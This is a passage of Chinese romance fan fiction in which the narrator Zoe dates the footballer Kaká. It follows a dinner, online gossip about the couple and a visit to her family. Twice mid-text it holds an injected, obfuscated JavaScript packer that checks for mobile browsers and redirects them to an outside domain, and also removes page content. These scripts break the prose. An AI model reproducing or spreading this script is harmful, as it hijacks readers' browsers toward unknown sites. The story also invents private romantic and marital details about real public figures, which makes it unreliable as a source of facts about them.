“在那段时间里,我躺在病床上写下了十个愿望,包括站起来重返球场、进入国家队、赢得世界杯……后来,这些愿望都一一实现了。我的信仰也因此变得更加坚定。” 这些往事他以前鲜少提及,我们更多谈论的是彼此的生活和爱好。而现在,他愿意向我敞开心扉,让我走进他内心更私密的世界。他甚至谈起了他的前妻。 “去年五月,我收到了她寄来的离婚协议书,那一刻我完全措手不及。尽管我和她因为我长期效力于欧洲联赛,聚少离多而屡有争执,但我从未想过会走到离婚这一步。我一直认为离婚是违背上帝意旨的。所以当事情发生后,我尽了最大努力去挽救我的婚姻。我决定放弃与AC米兰还剩一年的合同,转而签约奥兰多城。我告诉她,我愿意在美国度过职业生涯的最后时光,只因她也有意在美国发展她的事业。 "在第一次分居之后,我们曾短暂地和好,那时我简直欣喜若狂。然而,或许是我们的感情已经难以为继,或许是她在美国的事业进展不如预期,最终,她还是带着两个孩子回到了巴西,再次提出了离婚。这一次,我终于清醒地意识到,这段婚姻真的走到了尽头。” 我迟疑了片刻,轻声问道:“如果她再次来找你,你会不会……” “不会。”他立刻回答,目光紧紧锁住了我的双眼,“到了最后,我心中只剩下疲惫和厌倦。我和她的故事已经彻底画上句号,她永远都是卢卡和贝拉的母亲,但我的未来,是完完全全属于你的。” - 侍者为我们斟满了两杯白葡萄酒,用来搭配海鲜。我轻声道谢,接着继续投入到剥开加利西亚龙虾壳的奋斗中。 里卡多的手机就在这时响起,他带着歉意看了我一眼,而我则回以一个微笑,示意他不必介意。 “克里斯?”里卡多喊出的名字让我不由地挑起了眉毛。是我想的那个克里斯吗? “记者堵在你家门口?”他诧异道,“我知道了,谢谢你,兄弟。对,我现在正和她在一起,她的名字是佐伊。”他停顿了一下,目光投向我。 “咳咳,嗯,就是你猜的那样……多谢你的推荐,她对这家餐厅赞不绝口。不,她不是教徒,但她对宗教有所研究,她非常聪明,在美国芝加哥大学读书……哈哈,我当然不是炫耀,我只是把事实说出来。……没问题,等过几天我会介绍你们认识……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956407|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我安静地品尝着肉质鲜美的龙虾肉,一直等到里卡多结束通话,才好奇地问:“是那个克里斯吗?” 他认真地点了点头,确认了我的猜测:“就是那个克里斯。”随即,他的表情变得有些哭笑不得,“有记者堵在他社区门口,竟然问他是不是把车借给我去约会女孩了。” “他怎么回答的?” “他一句话也没说,直接踩下油门就溜了。” 我忍不住笑了出来。“你们俩的性格真是天差地别。不过,我是不是给他添了麻烦?” 侍者为我们呈上了主菜。我面前的是澳洲肉眼牛排,烤至完美的五分熟,边缘略带焦香,内里依旧保持着诱人的粉红色。里卡多的盘中则是法式小羊排,外皮酥脆,肉质细嫩,散发着淡淡的罗勒与迷迭香的气息。 搭配主菜的是一瓶来自意大利孔特诺酒庄的巴罗洛红酒,侍者已经提前为我们醒好了酒。 里卡多轻轻摇了摇头,他开始以一种优雅的姿态,用带锯齿的餐刀切割着盘子里的羊排。“他对记者的围追堵截已经习以为常了。实际上,他不仅不介意,反而对你很感兴趣。” “对我感兴趣?”我捏住刻花酒杯的细腿,惊讶道。 里卡多的脸上突然泛起一丝红晕,他清了几声喉咙,声音略显尴尬:“他觉得我的行为很反常,所以认为你一定拥有某种特殊的魅力。” “反常?是指你向他借车吗?”我猜测道。 他微微点头,将佐餐的红酒汁均匀地淋在切好的羊排上。接着,他用叉子叉起一小块羊排,越过桌面,体贴地送到我的唇边。“尝一尝?” 我往前探了探身,毫不犹豫地张嘴吞下。“很好吃。”我评价道,依旧带着笑意盯着他,暗示话题尚未结束。 他的眼神开始变得有些飘忽。“实际上,我向他借车时,他觉得我的行为像个冲动的毛头小子——连夜从美国飞来马德里,只为向心爱的女孩子表白,然后借辆豪车带她去兜风……他原本建议我买一束玫瑰送给你,但你曾经提过更喜欢花朵在枝头上鲜活的样子,所以我没有买。以后你可以在我们的花园里种上所有你喜欢的花。” 怎么突然提到花园了?我眨了眨眼。 不过他的反应真是可爱,就像一块害羞的坚果布朗尼。我歪着头,露出一抹俏皮的笑容:“你跑题了哦,球星先生。不过这些事情,你以前应该也为你的前女友们做过吧?” “没有。”他湿漉漉的深褐色眼眸一下子转向我,“这些事是我第一次做。我十几二十岁的时候,呃,比较木讷,不太懂得如何去追求女孩子。” “哦!当然啦,我们卡卡都是女孩儿主动来追你的。”我促狭道。 他显得有些不自在,调整了一下坐姿。“我想表达的是——”他将双手交叠着放在桌上,语气变得郑重,“即使是和卡洛琳在一起,我也是顺其自然,我认为那是一个基督徒应该做的:爱上一个好姑娘,和她共建家庭。但面对你,佐伊,我不仅想和你一起生活,我还净想做些令人发笑的蠢事。” “即使我像个傻瓜一样,高调地开着跑车忽然出现在你面前,那仅仅是因为我觉得你一定很想见到我。当然,我同样迫不及待地想见你。你喜欢超跑,我就向克里斯借车,并且我要让你也拥有一辆,因为这样你会开心,所以我也就开心……”他喃喃着,“你现在是不是觉得我是个傻蛋?和你讨厌的那类自大狂没什么两样?” “不。”我摇摇头,身体不自觉地越来越向前倾斜,一种想要触碰他的冲动冒了出来,我决定跟随自己的渴望。我把手伸过桌面,越过餐桌中央一大簇火焰般的郁金香,指尖轻柔地触碰到他的手背。他颤抖了一下。 “他们是自大狂,而你是我心爱的傻蛋。佐伊的傻瓜和小天使。只属于我。” 他微微前倾,紧紧握住我的手,用一种珍视的姿态轻轻摩挲着,然后将我的手带到唇边,落下一个温柔的吻。接着,他将我的手轻轻放回。 “过几天我介绍你们认识,克里斯是一个很好的朋友。他有时候可能会有点冲动,但一个真诚的拥抱就能安抚好他,他很直接,也很善良。” “我很期待。”我说。 22. 公开 滑动手机屏幕,我浏览着网络上的新闻,不禁摸了摸下巴,感叹道:“这些记者真是以讹传讹的高手……哈,等等,‘卡卡离婚后火速另结新欢,又一位棕发美女,美貌竟胜过前妻’‘巴西足球巨星卡卡与西班牙美女同游马德里,座驾竟是C罗爱车?疑似上演二男争一女戏码’。” 听到这些耸人听闻的标题,里卡多险些将口中正喝着的柠檬水喷出来。 他一边咳嗽,一边满脸无奈地说道:“真希望克里斯没看到这些,不然他又要拿我开玩笑了。” 现在,推特上最热门的话题,源自“体育前线记者马科”发布的一段视频。视频的标题十分吸睛——“卡卡携新女友驾车出游,甜蜜宣称‘她是我的爱’”。 我点开视频,画面伊始,便传来记者马科亲切的问候:“你好,小姐,我是马科。” 直至结尾,是里卡多饱含深情的告白:“……她是我的爱,也是我的光。”视频中的对话是西班牙语,而马科还颇为贴心地配上了英文字幕。 “我还挺上镜的嘛。”我带着几分欣赏的口吻说道,转头看向里卡多。我们目光交汇,他脸上浮现出一抹微笑,似乎在欣慰我一点儿也不显得沮丧。 一大波卡卡的球迷和吃瓜群众已经占领了评论区。 点赞数最高的评论是:这视频信息量爆炸(流汗.gif)。卡卡交了新女友,倒没让我太过惊讶;卡卡开着C罗的车,我也觉得不足为奇。但卡卡的新女友驾着C罗的超跑,载着卡卡去兜风……这到底谁和谁才是真正的一对啊? 网友A:本来以为卡卡好不容易离婚了,我就有机会了!!结果怎么又凭空冒出来一个新女友??(哭泣.gif)一分钟,我要这个女人的全部信息! 网友B:本来以为卡卡好不容易离婚了,C罗就有机会了!!结果怎么又凭空冒出来一个新女友??(哭泣.gif)一分钟,我要这个女人的全部信息! 网友C:卡佩罗同好在此!这两人本来都恢复单身了,可以发展一段美好的‘兄弟情’,没想到卡卡这么快就有了新欢,还让她开C罗的车,这剧情简直太虐了。(大哭gif)(大哭gif) 网友D:楼上的在说什么?克里斯蒂亚诺和卡卡各自不都是直男吗?? 网友E:马科,你到底是在哪里碰到卡卡的?他们现在还在马德里吗?求偶遇啊啊啊!! 网友F:这个女孩挺酷的,身材也辣,俊男靓女的组合对我的眼睛很友好~她说西语很流利啊,是西班牙人吗? “有人夸我诶!”我惊奇地对里卡多说。 他温和地回应我:“你很好,当然值得大家夸赞。” 我继续往下滑,吃自己的瓜真是刺激。 网友G:她很可能是西班牙人,这种流利程度,不是母语者也是至少在西班牙生活了十年以上的人。 网友H:但卡卡不是上个月才离婚吗?这么快就有了新女友,不会是婚内出轨吧? 网友I:这个女孩到底是谁啊?是明星还是模特?戴着墨镜看不清长相啊。有没有人知道?西班牙的网友们,你们了解情况吗? 网友J:我是西班牙人,但我真的不知道啊! 网友K:说卡卡出轨的是在搞笑吧?卡卡是很虔诚的基督徒,怎么可能会出轨?请不要侮辱卡卡的信仰!虽然离婚的消息上个月才公布,但卡卡和卡洛琳早就分居了。而且就卡洛琳的性格,如果卡卡真的出轨了,她会一声不吭吗?她自己都说了,“卡卡从未背叛我,他一直善待我。……症结在于,对我而言他太完美了”。 网友L:“她是我的爱,也是我的光。”卡卡居然会说这么甜的话哈哈~~~视频里的他看起来状态好了很多啊,胡子剃得干干净净,头发也打理了,不像刚离婚那会儿那么颓废了。 网友M:我的天吶,这个女孩……如果我没认错的话,我应该不久前才见过她! “老天!”我忍不住低声惊呼,“不会这么巧吧。” “有人认出了你。”里卡多说,他也看到了那条评论。 眨眼间,这条评论就被一拥而入的网友们迅速顶到了前列。 “没事的,被人认出来是迟早的事,我有心理准备。”我把语气放得很轻松,试图转移里卡多的注意力,让他不再纠结于让他皱着眉的不快想法。 “我去趟洗手间。”他宽慰地对我笑了笑,“顺便和家人还有经纪人联系一下,他们给我发了好多信息。” 我点进那条声称认出我的评论,接着拿起勺子,开始吃我的甜品。 网友们则像一群嗷嗷待哺的小鸡崽,急不可耐地在评论区留言催促:别卖关子了!快说,她到底是谁! 网友M终于再度发声,发布了第二条评论:半个多月前,我在美国佛罗里达州的萨拉索塔见过她。她是来度假的大学生,当时和我们一群人在沙滩上玩。后来卡卡就出现了!!说是她的朋友。我们当时都超级兴奋,每个人都找卡卡要了签名和合影。我的天,照这么看,他们那时候说不定就已经在约会了!! 网友N:八月初的时候,卡卡确实在海边玩,还带着卢卡呢。他当时在ins上分享了父子俩的合照,所以,当时实际上是他们三个人一起吗?? 网友O:你们难道没留意到,卡卡今天在推特和ins上同时关注了一个女孩吗…… 网友P:没错,他们互关了。我刚去逛了一圈那个女孩的社媒,她最新发布的动态就是在萨拉索塔拍摄的照片。照片里的白色沙滩,几乎和卡卡此前晒出的场景一模一样。她还有一张在椰子树下吃冰淇淋的照片,卡卡也发过卢卡类似角度的照片。她的配文是“在夕阳和大海之间,第一次遇见你”,我猜他们就是在萨拉索塔认识的。 网友Q:这么说来,他们才认识半个多月? 网友R:幸运的女孩儿,我也好想和卡卡在海边来一场浪漫邂逅!!(大哭.gif) 网友P继续深挖细究,分析道:她虽然不是经常发帖,但我还是能捕捉到一些信息。她分享过自己在中国的生活,还晒出与一对中西夫妇的合影。每年寒暑假,她动态的背景便会切换至马德里。依我推测,她很可能是中西混血儿,在中国长大,假期时会回西班牙。她的西班牙外祖父母是马德里某所大学的教授,父母则是建筑设计师。她晒过一些美术馆、剧院、城市公园之类的建筑,应该是她父母的设计,中国的网友可以去搜搜这些照片,说不定能有所发现。另外,她自己去年入读了美国芝加哥大学。 网友T:哇塞!楼上简直是当代福尔摩斯! 网友P:过奖,我只是个侦探小说爱好者,喜欢剥丝抽茧地探寻真相。还有,大家注意到没,她有一双蓝绿色的眼睛,巧的是,卡卡几个小时前刚在推特回复网友,称自己喜欢蓝绿色眼睛的狐狸。所以,这是在秀恩爱吧…… 网友U:按照楼主所说,这姑娘也是出身中产啊,和卡卡小时候的家庭背景相似,和卡洛琳的家境也差不多?不过话说回来,她完全可以靠颜值吃饭了,混血儿有一双蓝眼睛真的很少见,属于中了基因彩票了。 网友V:如果她去年才上大学,那她现在应该只有18或19岁吧?当年卡洛琳和卡卡结婚时也差不多这个年纪,卡卡是不是特别喜欢年轻女孩? 网友W:18岁怎么了?她已经成年了。卡卡这么多年来在圈内圈外都是公认的人品好,道德无瑕疵,这有什么可指责的! 我的思绪开始漫无目的地游走,我只是随意分享了一些记录生活的照片和文字,没想到竟然能被大家剖析出这么多细节。 不过,既然已经和里卡多在一起了,我也算是半只脚踏入了公众视野,他们爱说什么就说什么吧…… 我又点开了自己的ins,发现关注者数量已经增加了几万。他们纷纷在我最新的帖子下留言。 其中不乏一些温暖人心的评论: “真是个可爱的女孩!” “你和卡卡是一对吗?” “你们真的在交往吗?求个准信儿!” “看到卡卡现在这么开心,就知道他和你在一起一定很幸福。” “你既漂亮又勇敢,和卡卡真的很般配,真心祝福你们!” “好羡慕你啊,能不能悄悄和我讲讲,和世界级球星谈恋爱到底是什么感觉呀?” …… 但也夹杂着一些恶意评论,诸如: “是不是你插足了卡卡的婚姻?赶紧给个说法!” “卡卡和卡洛琳才是天定的真爱,你又算哪根葱?!” “碧池,凭什么抢走卡卡,你配吗?” “看着普普通通的,你有什么资格和卡卡在一起,别白日做梦了!” “我敢打赌,你们这段感情撑不过三个月,走着瞧!” “是不是耍了什么见不得人的手段才赖上卡卡的?看你这长相,就一副心机深沉的模样!!” 我长得很有心机?我微微挑起眉毛。 里卡多回来时,我还在出神地盯着手机屏幕。 “还在看那些评论?看得这么专注。”他走到我身后,视线随之落在我的手机屏幕上。 “你的球迷很维护你。”我转过头,冲他扮了个鬼脸。 他只是勉强挤出一丝干涩的笑容,目光再次定格在那些充满恶意的字句上,眉头紧锁,额头上不禁现出几道因恼火而生的皱纹。 “真的很抱歉,让你遭受这些。” 他满含歉意地说道。 “你没必要道歉呀,这又不是你的错。” 我轻轻摇了摇头,神色淡定自若,“再说了,要是这样几句评论就能把我惹生气,那往后我岂不是每天 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他显得有点尴尬,小声说:“我从卢卡那里要来的。他拍了不少你的照片。” “这张选得不错。”我迎着他讶异的目光,心情愉悦地说,“卢卡把我拍得很美。希望他爸爸也能有这么好的拍照技术。” - “佐伊,现在你告诉我,视频里那个开着布加迪威龙的女孩不是你,而是某个长得和你一模一样的陌生人!” “我想,那个人确实是我。” “那,坐在副驾驶跟你一块儿的,难道真的是 ——” “是卡卡。”我镇定地对着手机说,眼角的余光扫过正在结账的男人,顿了顿,又补上一句,“我们正在交往。” 瞬间,电话那头传来达尼尔的叫嚷,那声音仿若汽笛长鸣,震得我耳膜生疼:“所以说来说去,自始至终都只有一个里卡多!” “确实如此。” “难以置信,你竟然一直瞒着我!你的约会对象居然是卡卡!”从手机里汹涌而出的声浪,毫不留情地冲击着我的听觉神经。 “我早就跟你说过,他叫里卡多呀。” 我满脸无辜,一边说着,一边将手机稍稍拿远了些,试图避开那强烈的音波冲击。 “嘿,佐伊——” 就在这时,莱昂的声音悠悠地从电话那头传了过来。 “哦,爸爸!” 我惊讶极了,不禁脱口而出,“你和达尼尔在一块儿吗?” “事实上,我们都在这儿呢。达尼尔和他男朋友今晚来你外婆家吃饭。” 我忍不住低低呻吟了一声:“天呐,所以你们都看到那个视频了?” 我察觉到里卡多投来担忧的目光。 “看到了你的风采,甜心,你在视频里可真是光彩照人,勇敢极了。” 莱昂幽默道,“不过,你男朋友的名气是不是有点太大了?” “嘿!姑父,那可是卡卡!” “姑父,帮我问问佐伊,能不能给我弄张卡卡的签名照?还有签名球衣!哦,对了,我能和卡卡合个影吗?” 刹那间,电话那头喧闹声大作。 达尼尔情绪激动得上蹿下跳,声音几近失控:“卡!洛!斯!你居然还只想着合影?我的上帝啊,我妹妹在跟卡卡谈恋爱!!你不觉得这太科幻了吗?!这简直比她跟异形谈恋爱还让我觉得不可思议!” 布兰卡的声音也高高插了进来:“先生们,你们能不能安静点?这个卡卡到底是哪位足球明星?” 还没等其他人回应,阿尔玛的声音陡然紧接着响起:“卡卡可是个帅气的小伙子。我还记得佐伊小时候……” 我小时候?我讶异地睁大眼睛。 “好了,各位——” 莱昂提高音量,试图压过众人的嘈杂,“佐伊已经成年了,她完全可以自己拿主意,不管她交往的对象是一个足球明星,还是一位异星来客。甜心——”他对我说,“他就是我们之前谈到的那个人吗?” “是的,爸爸。” 我回答,目光下意识地投向里卡多。此刻,他正从侍者手中接过纸笔,为那位满怀期待的小伙子签名。 “你们之前聊过什么?你居然比我先知道女儿的男朋友?” 布兰卡满是困惑的声音再度传来。 “哦,亲爱的,你知道的,在涉及情感的事情上,我总是要稍微敏感一些——” “姑父,你早就知道佐伊在和卡卡谈恋爱?!” “我不知道,达尼尔。好了,好了,这些我们稍后再细谈——佐伊,唔,我的小甜瓜,我还是得问一句,你今晚打算回家吗?” “当然。” 我先是一愣,旋即领会到他话里的深意,“呃……里卡多是极为虔诚的教徒,所以,你们完全不需要担心。” 我尴尬地轻抚了一下鼻子。 23. 回家 趁里卡多被追出来的顾客缠住,忙着合影签名之际,我再度点开他最新发布的那条动态。评论区里满是祝福的话语,几条凭借高点赞量脱颖而出的评论,显然来自他的队友和前队友们。 “这次怎么这么乖,不开车了?”里卡多打开车门,顺势坐进驾驶座,目光中带着几分讶异,迅速朝我扫了过来。 “我喝了酒呀。”我慵懒地将身子靠在副驾驶座的椅背上,调侃道,“你是不是故意的?我注意到今晚你几乎没怎么沾酒。” “总得有一个人保持清醒。”他轻挑眉毛。 “那我们什么时候可以一起不那么清醒呢?”我饶有兴致地问他。 他闻言,上身向我前倾,借着车窗外路灯洒下的昏黄光晕,仔细端详着我。我也同样静静地凝视他,泰然自若。 “甜心,你喝醉了吗?” “三杯酒醉不倒我。”我轻轻笑了两声,嗓音像猫皮一样柔滑如丝,仿佛能顺着空气,毫无阻碍地滑入他的心底,“亲爱的,你盼着我醉吗?你还没回答我,你觉得我们什么时候可以一起醉倒呢?” “等到合适的时候。” “那是什么时候?”我朝着他歪过来,手肘支撑在中央扶手上,轻搁着下巴,眼中满是好奇,“在外面难道不行吗?” 他微微顿了顿,稍作犹豫:“不行。饮酒要适度,不能沉溺。况且,我们如果在晚上出来,喝醉了不安全。” “可是,宝贝,要是我就想让你陪我喝酒,该怎么办呢?”我伸出手指,用指腹轻柔地搔了搔他的手心。 他的皮肤很热,他的声音很温柔,却带点儿颤抖:“不在外面喝就可以。” “那我们在哪里喝?”我将头斜倚过去,淡淡的酒香随着我每一次呼吸悠悠飘向他。发丝不经意间触碰到他的脸庞,他似乎感到一阵酥痒,恍如夜风波动琴弦,轻颤出一丝悄然的悸动。 “在酒店的私密套房里?还是在你奥兰多的家里?”我问他,将头愈发凑近。 幽闭而狭窄的车内空间,两具躯体之间的粘稠暗色里,反复被吞吐的喘息声如潮汐般起伏流动,忽而交缠,肆意翻涌。他渴望的神情清晰地凝在脸上,他的眼睛是两团熊熊燃烧的深褐色的火焰,旋即,他猛地紧紧闭上双眼。 “佐伊。”他深深吸了一口气,那气息仿若要将周围的空气都点燃,他缓缓睁开眼,双手捧住了我的脸,“你在对我调情。” 我眨了眨眼睛:“我不能对我的男朋友调情吗?” 他一时语塞,避开了我的问题,转而说:“我们可以拥抱和亲吻,但仅止于此。” “我知道啊。”我坏心眼地说,“我也只想和你拥抱和亲吻,难道你还想做些别的吗?” “你刚才提到——” “我只是说,或许我们可以在酒店或者你家里一起喝酒谈心。那里很安全,不是吗?”我狡猾地说,指尖轻轻滑过他发烫的耳廓。 他瞪大眼睛看着我,片刻后,突然低下头,将嘴唇埋进我的头发里。 “小家伙,你真是坏透了。”他的声音从发丝间闷闷传来。 “现在你该知道,在我们还没确定关系时,你对我的那些挑逗有多让人心动,又多让人心烦意乱了吧。”我半开玩笑地指责道。 “那不是挑逗,是真情流露。”他抬起头,嘴里嘟囔着,在我的目光下逐渐妥协,“好吧,我错了。” “那么,作为对你的小小惩戒,我之前欠你的那二十个吻,暂且一笔勾销咯。”我故意拉长了语调。 “这不公平!”他发出抗议,但随即他眼神一转,“不如这样,我愿意补偿给你双倍的吻,权当赔罪。” 我撇撇嘴:“聪明的小熊。”这样一来他就拥有了四十个吻,不是吗? 他还想说些什么,但我已经倾身向前,用一个轻柔的吻打断了他的思路。 “这是第一个吻。”我眼波流动,“这是第二个。”话音未落,我又迅速地在他的唇上轻啄了一下。 他的眼睛瞬间睁大,随后渐渐眯起,轻声呢喃:“这样呀……不过,亲爱的小狐狸,这样浅尝辄止,可远远不够啊。” 他的鼻尖缓缓滑过我的鼻梁。我感觉到他的手轻柔地抚上我的脖颈,手指慢慢插入我的发间,指腹在我的脑后摩挲着。 他的呼吸在我的肌肤上颤动着,我几乎能听到自己的心跳在加速,热意从脖颈迅速蹿至耳根,烫得厉害。他的舌尖轻触我的嘴唇,柔软得像是刚剥开的橘子瓣,一点点地舔舐,带来一种难以形容的触感。 他在餐厅里一定喝了很多柠檬水,我迷迷糊糊地想,他的味道尝起来微甜中带有一丝青绿的苦涩。 他很有耐心地撬开我紧闭的牙关,柔和的暖湿气流便化作东海岸的飓风长驱直入,与我的舌头缱绻缠绵,掠夺我的每一丝喘息;继而沿着口腔内壁肆虐,贪婪地吮吸着每一颗牙齿,盘旋不息,如同风暴掀翻四野,所到之处春泥破冰翻涌,夏阳沉沉倾覆。 我的意识渐渐开始涣散,那种缺氧般的窒息感再度浮起,但我闭上了双目,甘愿沉溺其中,被我的天使彻底吞噬,直至与他骨肉交融,不分彼此。 “这样的吻才算数。”他眼中笑意渐浓,似有星光闪烁,他轻轻将我脸颊上垂落的一绺头发捋到耳后。 我的手正放在我的胸口上,脸上满是一副生无可恋的表情。这个男人!呜呜呜,果然雄性这种生物,无论平日里表现得多么温柔体贴,在关键时刻仍然会显露出那该死的侵略性。 他转向前方,发动了汽车引擎。 “我送你回家,甜心。” - 里卡多稳稳地把控着方向盘,一路上严格遵循限速规定驾驶,车子仿若在静谧湖面滑行的小船,行进得平稳而顺畅,几乎感受不到一丝颠簸。 “明天我能去探望你外公吗?”“你今晚住哪?” 我们同时问道。 “我已经让助理帮我在市中心预订了一家酒店。”他反应迅速,立刻给出回答。 “明天你想去探望我外公?”他的想法让我微微一怔,心中涌起一丝暖意,又夹杂着些许意外。 “可以吗?” “当然。只是……”我犹豫了一下,手指下意识地相互交织,似在梳理内心的纠结,“明天他就要转到普通病房了,到时候会有很多亲戚朋友前来探望。” 我不确定里卡多是否介意在这么多人面前与我一同出现。 “甜心,我们已经向全世界公开了我们的关系。”他轻轻地笑了。 “我也说不好。”我坦言,目光透过挡风玻璃,静静扫向前方无尽延伸的道路,思绪也随之飘远,“当我们在说‘全世界’时,往往会忽略亲朋好友也在这个宏大限定词的范围内。我们习惯于将生活中的人划分为两类:亲近的人和陌生人。而‘全世界’在很多时候,仿佛只是指后者。面对由陌生人组成的‘全世界联盟’或许是容易的;但面对家人,仍然会让我感到不知所措。” 他一只手稳稳地握住方向盘,另一只手则缓缓向我伸来。随后,他的手掌轻柔地覆盖在我的手背上。“你可以自在地向他们介绍我,就简单说我是你的朋友。” 我的视线移到他的手上。“你是我男朋友。”我强调道,对我自己,“如果你不介意,我也不需要介意。” 他微微摇了摇头:“别这样说。在我这里,你的感受同样重要,甚至更为关键。” “我正在努力积攒勇气。”我嘟囔着,无意识地掰弄着他的手指。 “就像你面对那个记者那样?” 我承认道:“比那要难一点。” “很难想象你也会有害怕的时候。”他含着笑。 “与其说是害怕,不如说是忐忑。”我纠正道。 “你担心他们会不赞同我们在一起?” “他们会赞同的。”我几乎是不假思索道,“他们向来尊重我的选择。可即便我心里清楚他们的态度,不知为何,还是会不由自主地感到紧张 。” “这恰恰说明你很在乎他们。”他安慰道。 “那你呢?你在乎外界对你的看法吗?”我转而问他。 他沉吟了片刻:“我不会刻意去追求别人的称赞,我的价值和美德也并不是通过别人的看法来衡量的。但我确实希望人们能通过我的行为,通过我所展现的真诚和友善,看到基督的光辉,并因此去爱他。” “‘无论是生是死,总叫基督在我身上照常显大。’这是你作为基督徒的信念。那对于家人呢?” 他温柔地看了我一眼,握紧了我的手。“家人的支持对我来说意义重大。” “我也非常珍视我的家人。”我赞同道,“我小时候并不合群,更愿意独自一人,脑海中盘旋着很多怪念头。我的家人们理解我,用一种我能接纳的方式与我相处,这帮助我成长为今天的自己。” “我开始对你小时候感到好奇了,也许下次可以换你来讲讲童年故事。” 我侧过头,凝视着他在昏黄光线下的侧脸。“如果我说,我生来就是一艘在汪洋中漂泊的船……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“而当一颗跳动的心和另一颗心交融,一个独立的灵魂和另一个灵魂相触,一条保持着绝对确定性的人生时间线和另一条交织,我们或许就能在那个交叉点上稍作停歇,探探脑袋,欣赏到另一条道路上截然不同却无比绚烂的风景。” - 我从车上下来,反手带上车门。里卡多从另一侧快步绕过来,伸开双臂,牢牢环抱住我的腰,他的体温透过单薄的衣料传来。 他低下头,将脸颊轻贴在我的发丝上,没有出声。周围的世界似乎变得模糊,一切喧嚣都渐渐远去,只剩下我和他的脉搏跳动声交织在一起,在耳边有节奏地回响。 过了许久,他缓缓地松开了我,我们的目光在那一刻相接,我突然感到了一股难以言说的留恋。尽管我知道,明天早晨我们仍将相见。可心底却难以抑制地泛起一丝惶恐:这一切,会不会只是一场幻梦?这一切,只是我心灵的奇思妙想,是一场我灵魂的奇妙旅途,四方游曳? “佐伊?”他察觉到了我的失神,轻声呼唤道。 “今天的一切都太美妙了。”我低声道,“美妙得就像是从书页间流淌出来的浪漫故事。” “一艘能言善辩的船,带着她会说话的锚的海洋冒险故事?”他幽幽地说道,这成功逗笑了我。 就在此刻,毫无征兆地,大门悄无声息地缓缓被推开,一道身影自门缝间探了出来。 “请原谅我冒昧打扰,年轻人们。”布兰卡的声音骤然响起,在静谧的氛围中格外突兀,“佐伊,为什么不邀请你的朋友进来坐一坐呢?” 我瞬间像被施了定身咒般僵在原地,一种偷偷约会却被家长抓包的微妙羞恼在胸中翻涌。 一时间,我陷入了左右为难的境地,脑海中飞速权衡:是该马上给两人相互介绍,化解这尴尬场面;还是赶紧找个借口,飞快而不失礼貌地把里卡多塞回车里,结束这场意外? 里卡多也着实被这突如其来的状况惊到,眼睛微微瞪大,不过仅仅数秒,他便迅速恢复镇定,抬起头彬彬有礼地回应道:“我深感荣幸,夫人。” 紧接着,他又将目光转向我,温柔询问,“可以吗,佐伊?” 你已经答应了!我窘迫地瞪着他,恨不得此刻能凭空变出一只巨大口袋,把他整个人严严实实地打包装进去,紧紧揣在怀里,再死死摁住他的脑袋,以防他再做出任何让人措手不及的 “意外之举”。 “我现在宁愿自己能钻进故事里躲躲了。”我咕哝着。 24. 老照片 “那么,你和佐伊如今算是正式交往了?” 听到这话,我的脸颊瞬间微微发热,尴尬地叫了一声“爸爸”,目光下意识地飘向坐在扶手椅上的莱昂。 “是的,先生。”里卡多稳稳坐在我身旁,身姿笔挺,双手规规矩矩地搭在膝盖之上,脊背挺得笔直,一副正襟危坐的姿态。 莱昂的目光在我与里卡多之间缓缓游移,仿佛在仔细权衡着什么。 “叫我莱昂就好。” 片刻之后,他友善地开口说道。 “莱昂。”里卡多露齿一笑,这笑容让隔着圆桌偷瞄过来的达尼尔情不自禁地倒吸了一口气。我装作没听到他和卡洛斯压低声音的赞叹:“他还是一如既往的帅气!”“那标志性的笑容——” “我向您保证,我对佐伊的感情完全发自内心。”里卡多神色庄重,那认真的模样就像是在对布道坛后的牧师宣誓一般,“这绝非是一时冲动,而是经过深思熟虑后做出的决定。我明白自己的心意,也深知这份感情对于我的重要性。” 莱昂微微点头,而后与布兰卡交换了一个眼神。 布兰卡坐在靠近里卡多的沙发上,温和道:“我听说你是一个虔诚的基督徒?”说完,她扭头对我们的厨娘道,“谢谢你,索菲亚,这些看起来非常美味。”她接过索菲亚从厨房端来的一盘巧克力曲奇。 “是的,夫人。”里卡多回答。 “叫我布兰卡就好。”她微笑着说,将那盘刚刚新鲜出炉、散发着诱人香气的小饼干递到里卡多手边,“来,尝尝索菲亚的手艺,这甜饼干与茶可是绝佳搭配。” 他乖巧地听取了建议,从盘子里拣起一块饼干,又端起茶几上的红茶,轻轻抿了一口。“非常棒的组合,这种茶的味道很香醇,让人回味无穷。” “这是我和莱昂从中国带来的红茶。”布兰卡抬手抚摸了一下鬓角,眼尾自然而然地晕开了一抹笑纹,“我对足球的了解其实不多,可家里的小伙子们都是球迷。他们对你赞不绝口,说你品行端正,还获得过世界级的足球荣誉,这让我对你满心好奇。如今看来,你确实是个彬彬有礼的年轻人。” “非常感谢您的称赞。足球是我的职业,我只是尽我所能,努力做到最好。而友爱和忠诚,是我终生都需要践行的品质。” 布兰卡显得很满意,她饶有兴致地和里卡多聊起了足球。不出所料,她对足球的了解也仅限于那位以帅气面孔迷倒全球女性的大卫·贝克汉姆。 “我和大卫交情挺好,他确实英俊潇洒。我还有一位朋友,舍甫琴科,他有着东欧风情的英俊相貌;另一位朋友克里斯蒂亚诺,就住在马德里,同样魅力非凡。他们都是非常优秀的球员。” 纵然他们如何出色,可在我这儿都比不上你。我百无聊赖地拨弄起牛仔裤上的毛边,将线团越扯越长,目光渐渐落在旋转楼梯旁那尊捧着陶罐、仿若陷入沉思的女人雕像上。你的面容与气质相得益彰,温柔中蕴含着如炽热火球般的强大能量。没有人会不喜欢这样的你。 